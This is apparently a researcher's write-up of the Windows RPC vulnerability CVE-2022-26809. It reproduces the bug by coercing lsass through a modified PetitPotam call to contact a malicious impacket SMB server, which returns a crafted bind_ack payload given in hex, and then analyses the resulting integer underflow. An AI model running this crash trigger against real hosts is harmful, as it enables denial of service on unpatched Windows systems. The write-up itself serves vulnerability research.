Exploring CVE-2022-26809: Vulnerability Analysis, Reproduction, and Exploitation Techniques

Network security

Vulnerability Introduction

The high-risk vulnerability CVE-2022-26809, patched in April 2022, has been over a month since then. During this period, apart from an analysis by L1nk about the conditions triggering the GetCoalescedBuffer() vulnerability function, there were no other updates. Although I have analyzed the logic behind the ProcessReceivedPDU() vulnerability function, I struggled to trigger it on the default system, which led to no progress.

On May 18, corelight published an article about exploiting CVE-2022-26809, providing a related GitHub repository that included captured packets that triggered the vulnerability.

The article mentioned that CVE-2022-26809 is located in the OSF_CASSOCIATION::ProcessBindAckOrNak() function, which is a client-side function that parses bind_ack responses. Initially, both L1nk and I overlooked this because we didn’t associate a client-side vulnerability with the description “potential worm vulnerability,” assuming it wasn’t CVE-2022-26809. However, when calling the EfsRpcDecryptFileSrv() efs RPC function on the target machine, based on the unc path we provided, it initiates a bind request to the srvsvc endpoint on our malicious SMB server. In this case, the server acts as a client and calls ProcessBindAckOrNak() to process the bind_ack packet returned by our malicious SMB server. This highlights our insufficient understanding of concepts like SMB.

EfsRpcDecryptFileSrv() is in the lsass.exe process, located at the c681d488-d850-11d0-8c52-00c04fd90f7e interface as an RPC function, accessible via the \pipe\lsass endpoint.

In 2021, the EFS-related RPC functions experienced several notable vulnerabilities such as PetitPotam domain privilege escalation and CVE-2021-43893 domain controller file write. Although CVE-2022-26809 isn’t similar in principle to these vulnerabilities, the triggering method is similar, allowing us to leverage PetitPotam’s script for avoiding the hassle of writing our own RPC client.

I recommend reading this article https://www.rapid7.com/blog/post/2022/02/14/dropping-files-on-a-domain-controller-using-cve-2021-43893/ to understand the history of the PetitPotam vulnerability.

CVE-2022-26809 >CVE-2022-26809 >

Vulnerability Reproduction

1. Invoke EfsRpcDecryptFileSrv() Function

Use ly4k’s PetitPotam script for invocation, repository link: https://github.com/ly4k/PetitPotam

It’s important to note: due to the CVE-2021-43893 patch from December 2021, you need to add two lines of code to the script:

Add the following two lines in the PetitPotam.Connect function (before dce.connect()):

Code Language: JavaScriptCopy

dce.set_auth_type(RPC_C_AUTHN_WINNT)dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

These two lines of code are to comply with the newly enforced EFSRPC measures.

Invoke the PetitPotam script:

Code Language: JavaScriptCopy

python3 petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug 'mr.wang:[email protected]' '\\192.168.33.154\srvsvc\test.txt'

192.168.33.159 is the address of the target host, while 192.168.33.154 is the address of our malicious SMB server. Unfortunately, I must use an account and password, not sure how the original PoC addressed the SMB authentication issue.

If you monitor the lsass.exe process with Procmon, you’ll see it trying to open the endpoint \\192.168.33.154\pipe\srvsvc.

 

2. Configure Malicious SMB Server for CVE-2022-26809

Directly use the SimpleSMBServer example from impacket’s smbserver.py:

Code Language: JavaScriptCopy

from impacket.smbserver import SimpleSMBServermyserver = SimpleSMBServer(listenPort=445)myserver.start()

It’s recommended to set it up in Linux.

We need to control the response to RPC bind requests, so modify the rpcrt.py library file directly.

Find the DCERPCServer.bind() function in rpcrt.py, comment it out, and replace with the following, effectively returning a fixed bind_ack packet each time.

Code Language: JavaScriptCopy

d = b'\x05\x00\x0c\x03\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x02\x10\xb8\x10\xb8\x00\x00\x12\x34\x00\x00'print(d)self._clientSock.send(d)

This string of data is the key payload to trigger the vulnerability.

 

3. Capturing the Crash: CVE-2022-26809

Open port 445 of the target host’s firewall.

Disable the SMB2 protocol:

Code Language: JavaScriptCopy

Set-SmbServerConfiguration -EnableSMB2Protocol $false

Enable the SMB1 protocol:

Code Language: JavaScriptCopy

Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol

This step is not mandatory, mainly to facilitate capturing and observing RPC data with Wireshark.

Use gflags.exe to enable page heap for the lsass.exe process, then reboot the system.

Choose a method to debug lsass.exe; I use kernel debugging to prevent the system from freezing.

Then, start the malicious SMB server and use the script to call the EfsRpcDecryptFileSrv() function.

Then you’ll be able to capture the exception.

If everything goes well, you’ll see a series of bind and bind_ack packets in Wireshark after calling EfsRpcDecryptFileSrv():

 

CVE-2022-26809 >CVE-2022-26809 >

Vulnerability Analysis

The packet has two characteristics: frag_len is 0x1a, ScnDry_Addr_len is 0, and the packet is truncated at this field with nothing following.

BufferLength is the packet length, which is 0x1a. The first BufferLength – 0x1A results in 0, then since sec_addr_length is 0, it enters the else branch which results in an integer underflow of 0 – 0x1c.

Subsequently, when addressing sec_addr_length + 2 + 2, since the packet ends at sec_addr_length, this address is actually out of bounds.

Additionally, it’s worth noting that although we use big-endian byte order to trigger the vulnerability, it can also be triggered using little-endian byte order, so it doesn’t seem to relate to whether the Data Representation field is 0.

Finally, the issue of SMB authentication when calling EfsRpcDecryptFileSrv() hasn’t been resolved. Vulnerability exploitation experts might want to try their hand at it.

Share this